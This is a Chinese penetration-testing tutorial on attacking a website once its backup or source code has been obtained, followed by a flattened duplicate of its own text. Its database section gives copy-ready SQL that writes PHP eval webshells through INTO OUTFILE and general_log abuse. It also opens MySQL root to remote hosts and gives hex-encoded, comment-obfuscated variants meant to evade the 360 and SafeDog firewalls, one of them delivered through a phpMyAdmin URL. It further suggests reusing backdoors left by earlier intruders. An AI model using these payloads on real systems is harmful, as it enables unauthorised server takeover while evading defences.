渗透思路整理:当我们拿到网站备份之后的思路
字数 1147 2025-08-25 22:58:20

网站备份文件渗透测试思路详解

0x01 概述

在渗透测试过程中,通过信息收集有时会发现网站备份文件,或通过git/svn等版本控制系统泄露获取网站源码。本教程将详细讲解在获得网站备份或源码后的渗透测试思路和方法。

0x02 渗透思路详解

一、使用Webshell查杀工具进行源码分析

目的:查找源码中已有的Webshell后门

工具推荐

  • D盾Webshell查杀工具
  • WebShellKill

可能发现Webshell的三种情况

  1. 非正规渠道获取的带后门模板

    • 供应链攻击的一种形式
    • 案例:phpstudy后门事件(黑客修改phpstudy安装包加入后门)
  2. 网站已被其他黑客控制

    • 常见现象:发现前人留下的后门
    • 可直接利用现有后门继续渗透
  3. 官方模板自带后门

    • 通常经过免杀处理,常规查杀工具难以发现
    • 需要代码审计才能识别
    • 案例:php input后门

二、数据库相关渗透方法

1. 数据库连接信息获取

  • 查找数据库配置文件(如config.php等)
  • 获取数据库地址、账号、密码等信息

2. 通过phpMyAdmin/Adminer等工具getshell

phpMyAdmin常用getshell方法

条件要求

  • Root数据库用户(root权限)
  • 网站绝对路径(有写入权限)
  • magic_quotes_gpc: Off(关闭)

导出WebShell方法

-- into outfile方式
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/webshell.php';

-- into loadfile方式
select '<?php @eval($_POST[pass]);?>' into loadfile 'c:/phpstudy/www/webshell.php';

-- into dumpfile方式
select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:/phpstudy/www/webshell.php';

日志文件写shell方法

show global variables like "%genera%";  -- 查询general_log配置
set global general_log='on';  -- 开启general log模式
SET global general_log_file='C:/phpStudy/WWW/webshell.php';  -- 设置日志文件保存路径
SELECT '<?php @eval($_POST[pass]);?>';  -- 写入恶意代码
set global general_log='off';  -- 关闭general_log模式

3. 绕过安全防护的方法

开启MySQL外链

grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
flush privileges;

绕过360防护(内联注释)

select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';

绕过安全狗<4.0(HEX编码)

select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

绕过安全狗4.0(HEX编码+内联注释)

/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

通过sql.php等文件绕过

http://127.0.0.1/phpmyadmin/sql.php?db=数据库名&token=token值&table=数据表名&pos=0&sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';

三、代码审计

适用场景

  • 基于开源CMS二次开发的网站
  • 闭源软件或自研系统

审计重点

  1. 文件上传点
  2. SQL注入点
  3. 远程代码执行(RCE)点
  4. 未过滤的用户输入点

工具推荐

  • Seay源代码审计系统

审计方法

  • 自动化审计与人工审计结合
  • 重点关注高危函数调用
  • 检查输入过滤机制

四、查找管理工具和密码信息

常见可getshell的管理工具

  1. 帝国备份王
  2. Discuz版本转换工具
  3. ewebeditor编辑器

查找方法

  • 搜索"tools"、"admin"等目录
  • 查找密码硬编码在代码中的管理工具
  • 检查编辑器上传功能

0x03 工具下载

  1. D盾Webshell查杀工具:http://www.d99net.net/down/WebShellKill_V1.2.9.zip
  2. Seay源代码审计系统:https://www.waitalone.cn/seay-source-code-auditv2.html

免责声明:工具来源于网络,使用前请自行检查安全性,一切问题与本文作者无关。

网站备份文件渗透测试思路详解 0x01 概述 在渗透测试过程中,通过信息收集有时会发现网站备份文件,或通过git/svn等版本控制系统泄露获取网站源码。本教程将详细讲解在获得网站备份或源码后的渗透测试思路和方法。 0x02 渗透思路详解 一、使用Webshell查杀工具进行源码分析 目的 :查找源码中已有的Webshell后门 工具推荐 : D盾Webshell查杀工具 WebShellKill 可能发现Webshell的三种情况 : 非正规渠道获取的带后门模板 供应链攻击的一种形式 案例:phpstudy后门事件(黑客修改phpstudy安装包加入后门) 网站已被其他黑客控制 常见现象:发现前人留下的后门 可直接利用现有后门继续渗透 官方模板自带后门 通常经过免杀处理,常规查杀工具难以发现 需要代码审计才能识别 案例:php input后门 二、数据库相关渗透方法 1. 数据库连接信息获取 查找数据库配置文件(如config.php等) 获取数据库地址、账号、密码等信息 2. 通过phpMyAdmin/Adminer等工具getshell phpMyAdmin常用getshell方法 : 条件要求 : Root数据库用户(root权限) 网站绝对路径(有写入权限) magic_ quotes_ gpc: Off(关闭) 导出WebShell方法 : 日志文件写shell方法 : 3. 绕过安全防护的方法 开启MySQL外链 : 绕过360防护(内联注释) : 绕过安全狗<4.0(HEX编码) : 绕过安全狗4.0(HEX编码+内联注释) : 通过sql.php等文件绕过 : 三、代码审计 适用场景 : 基于开源CMS二次开发的网站 闭源软件或自研系统 审计重点 : 文件上传点 SQL注入点 远程代码执行(RCE)点 未过滤的用户输入点 工具推荐 : Seay源代码审计系统 审计方法 : 自动化审计与人工审计结合 重点关注高危函数调用 检查输入过滤机制 四、查找管理工具和密码信息 常见可getshell的管理工具 : 帝国备份王 Discuz版本转换工具 ewebeditor编辑器 查找方法 : 搜索"tools"、"admin"等目录 查找密码硬编码在代码中的管理工具 检查编辑器上传功能 0x03 工具下载 D盾Webshell查杀工具: http://www.d99net.net/down/WebShellKill_ V1.2.9.zip Seay源代码审计系统: https://www.waitalone.cn/seay-source-code-auditv2.html 免责声明 :工具来源于网络,使用前请自行检查安全性,一切问题与本文作者无关。